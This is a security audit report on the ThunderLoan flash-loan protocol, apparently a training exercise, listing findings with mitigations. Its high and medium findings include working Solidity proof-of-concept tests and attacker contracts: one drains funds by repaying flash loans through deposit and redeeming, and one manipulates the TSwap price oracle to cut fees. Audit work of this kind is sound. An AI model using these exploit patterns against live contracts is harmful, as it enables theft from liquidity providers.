Protocol Audit Report

Version 1.0

palmcivet

February 18, 2024

Protocol Audit Report

palmcivet

18 February, 2024

Prepared by: Palmcivet Lead Auditors:

- palmcivet

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate
    * [H-2] Using `ThunderLoan::deposit` instead of transferring or `ThunderLoan::repay` to “repay” flash loans means an attacker can steal funds from the protocol

    * [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol
- Medium
    * [M-1] Centralization Risk for trusted owners
    * [M-2] Using TSwap as a price oracle leads to price/oracle manipulation attacks
- Informational
    * [I-1] Functions not used internally could be marked external
    * [I-2] Missing checks for `address(0)` when assigning values to address state variables
    * [I-3] Constants should be defined and used instead of literals
    * [I-4] Event is missing `indexed` fields
    * [I-5] Test coverage needs to be higher

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

Palmcivet makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
./src/
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

I enjoyed reviewing this project and learnt a lot about the process. Thanks, Patrick.

Issues found

Severity	Number of issues found
High	3
Medium	2
Informational	5
Total	10

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it is responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees.

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
      amount) revertIfNotAllowedToken(token) {
2         AssetToken assetToken = s_tokenToAssetToken[token];
```

```
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7
8   @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9   @>      assetToken.updateExchangeRate(calculatedFee);
10
11          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
12      }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they are owed.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into `ThunderLoanTest.t.sol`:

```
1  function test_redeem_after_loan() public setAllowedToken hasDeposits {
2          uint256 amountToBorrow = AMOUNT * 10;
3          uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
4
5          vm.startPrank(user);
6          tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7          thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
               amountToBorrow, "");
8          vm.stopPrank();
9
10         uint256 amountToRedeem = type(uint256).max;
11         vm.startPrank(liquidityProvider);
12         thunderLoan.redeem(tokenA, amountToRedeem);
13     }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
1  -       uint256 calculatedFee = getCalculatedFee(token, amount);
```

```
2 -       assetToken.updateExchangeRate(calculatedFee);
```

[H-2] Using `ThunderLoan::deposit` instead of transferring or `ThunderLoan::repay` to "repay" flash loans means an attacker can steal funds from the protocol

Description: When a user takes out a flash loan in the ThunderLoan system, they are expected to pay back the funds borrowed by using the `ThunderLoan::repay` function, or transferring the funds directly. When flash loans are taken out, at the end of the transaction the `endingBalance` and the `startingBalance + fee` are compared. If the `endingBalance` is smaller, the transaction will revert and the flash loan will not have been taken out. However flash loan recipients are able to call `ThunderLoan::deposit` with borrowed funds, enabling them to pass the conditional balance check.

Impact: A malicious user could steal all the funds from the ThunderLoan system by "paying back" flash loans using the `deposit` function, and then withdrawing the funds again using `ThunderLoan::redeem`.

Proof of Concept:

Proof of Code

Place the following into `ThunderLoanTest.t.sol`:

```
1  function test_use_deposit_instead_of_repay_to_steal_funds() public
       setAllowedToken hasDeposits {
2          vm.startPrank(user);
3          uint256 amountToBorrow = 50e18;
4          uint256 fee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
5          DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
               ));
6          tokenA.mint(address(dor), fee);
7          thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
               ;
8          dor.redeemMoney();
9          vm.stopPrank();
10
11         assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
12     }
```

Place the following contract into `ThunderLoanTest.t.sol`:

```
1  contract DepositOverRepay is IFlashLoanReceiver {
2      ThunderLoan thunderLoan;
3      AssetToken assetToken;
4      IERC20 s_token;
```

```
5
6       constructor(address _thunderLoan) {
7           thunderLoan = ThunderLoan(_thunderLoan);
8       }
9
10      function executeOperation(
11          address token,
12          uint256 amount,
13          uint256 fee,
14          address, /* initiator */
15          bytes calldata /* params */
16      )
17          external
18          returns (bool)
19      {
20          s_token = IERC20(token);
21          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
22          IERC20(token).approve(address(thunderLoan), amount + fee);
23          thunderLoan.deposit(IERC20(token), amount + fee);
24          return true;
25      }
26
27      function redeemMoney() public {
28          uint256 amount = assetToken.balanceOf(address(this));
29          thunderLoan.redeem(s_token, amount);
30      }
31  }
```

Recommended Mitigation: Consider checking the status of flash loan recipients/loaned funds before allowing deposits to be made.

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
1   uint256 private s_feePrecision;
2   uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1   uint256 private s_flashLoanFee; // 0.3% ETH fee
2   uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage

variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

Proof of Code

Place the following into `ThunderLoanTest.t.sol`:

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
function test_upgrade_breaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee before:", feeBeforeUpgrade);
        console.log("Fee after:", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank, as to not mess up the storage slots.

```
+ uint256 private s_blank;
  uint256 private s_flashLoanFee; // 0.3% ETH fee
  uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

- Found in src/protocol/ThunderLoan.sol

```
1    function updateFlashLoanFee(uint256 newFee) external onlyOwner
```

- Found in src/protocol/ThunderLoan.sol

```
1    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol

```
1    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol

```
1    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol

```
1    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol

```
1    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

[M-2] Using TSwap as a price oracle leads to price/oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will get drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in a single transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
            ();
    }
```

```
3. The user then repays the first flash loan, and then repays the
    second flash loan.
```

Proof of Code

Import the following into `ThunderLoanTest.t.sol`:

```
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
    ERC1967Proxy.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol";
```

Place the following test into `ThunderLoanTest.t.sol`:

```
function test_oracle_manipulation() public {
        // 1. Setup contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        // create a tsweap dex between weth / tokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
```

```
15          tokenA.approve(address(tswapPool), 100e18);
16          weth.mint(liquidityProvider, 100e18);
17          weth.approve(address(tswapPool), 100e18);
18          BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
                timestamp);
19          // ratio 100 weth / 100 tokenA
20          // price 1:1
21          vm.stopPrank();
22
23          // 3. Fund ThunderLoan
24          vm.prank(thunderLoan.owner());
25          thunderLoan.setAllowedToken(tokenA, true);
26          vm.startPrank(liquidityProvider);
27          tokenA.mint(liquidityProvider, 1000e18);
28          tokenA.approve(address(thunderLoan), 1000e18);
29          thunderLoan.deposit(tokenA, 1000e18);
30          vm.stopPrank();
31          // 100 weth and 100 tokenA in TSwap
32          // 1000 tokenA in ThunderLoan
33
34          // Take out a flash loan of 50 TokenA
35          // swap it on the dex, tanking the price 150 TokenA -> ~80 WETH
36          // take out another flash loan of 50 TokenA and see how much
                cheaper it is
37
38          // 4. Take out 2 flash loans
39          //  a. Nuke price of weth/tokenA on TSwap
40          //  b. Show doing so greatly reduces the fees paid on
                ThunderLoan
41          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
42          console.log("Normal Fee is:", normalFeeCost); //
                0.296147410319118389
43
44          uint256 amountToBorrow = 50e18;
45          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (
46              address(tswapPool), address(thunderLoan), address(
                    thunderLoan.getAssetFromToken(tokenA))
47          );
48
49          vm.startPrank(user);
50          tokenA.mint(address(flr), 100e18);
51          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
52          vm.stopPrank();
53
54          uint256 attackFee = flr.feeOne() + flr.feeTwo();
55          console.log("Attack Fee is:", attackFee);
56          assert(attackFee < normalFeeCost);
57          // 0.214167600932190305
```

```
58      }
```

Add the following contract into `ThunderLoanTest.t.sol`:

```
1  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2      BuffMockTSwap tswapPool;
3      ThunderLoan thunderLoan;
4      address repayAddress;
5      bool attacked;
6      uint256 public feeOne;
7      uint256 public feeTwo;
8
9      constructor(address _tswapPool, address _thunderLoan, address
           _repayAddress) {
10         tswapPool = BuffMockTSwap(_tswapPool);
11         thunderLoan = ThunderLoan(_thunderLoan);
12         repayAddress = _repayAddress;
13     }
14
15     function executeOperation(
16         address token,
17         uint256 amount,
18         uint256 fee,
19         address, /* initiator */
20         bytes calldata /* params */
21     )
22         external
23         returns (bool)
24     {
25         if (!attacked) {
26             // 1. Swap TokenA borrowed for WETH
27             // 2. Take out ANOTHER flash loan, to show the difference
28             feeOne = fee;
29             attacked = true;
30             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                   (50e18, 100e18, 100e18);
31             IERC20(token).approve(address(tswapPool), 50e18);
32             // tanks the price
33             tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                   wethBought, block.timestamp);
34             // call a second flash loan
35             thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
36             // repay
37             // IERC20(token).approve(address(thunderLoan), amount + fee
                   );
38             // thunderLoan.repay(IERC20(token), amount + fee);
39             IERC20(token).transfer(address(repayAddress), amount + fee)
                   ;
40         } else {
41             // calculate the fee and repay
```

```
42                feeTwo = fee;
43                // repay
44                // IERC20(token).approve(address(thunderLoan), amount + fee
                      );
45                // thunderLoan.repay(IERC20(token), amount + fee);
46                IERC20(token).transfer(address(repayAddress), amount + fee)
                      ;
47            }
48            return true;
49        }
```

Recommended Mitigation: Consider using a different price oracle mechanism such as Chainlink Pricefeeds with a Uniswap TWAP fallback oracle.

Informational

[I-1] Functions not used internally could be marked external

```
1 function repay(IERC20 token, uint256 amount) public {
```

[I-2] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/protocol/OracleUpgradeable.sol Line: 16

```
1           s_poolFactory = poolFactoryAddress;
```

[I-3] Constants should be defined and used instead of literals

[I-4] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

[I-5] Test coverage needs to be higher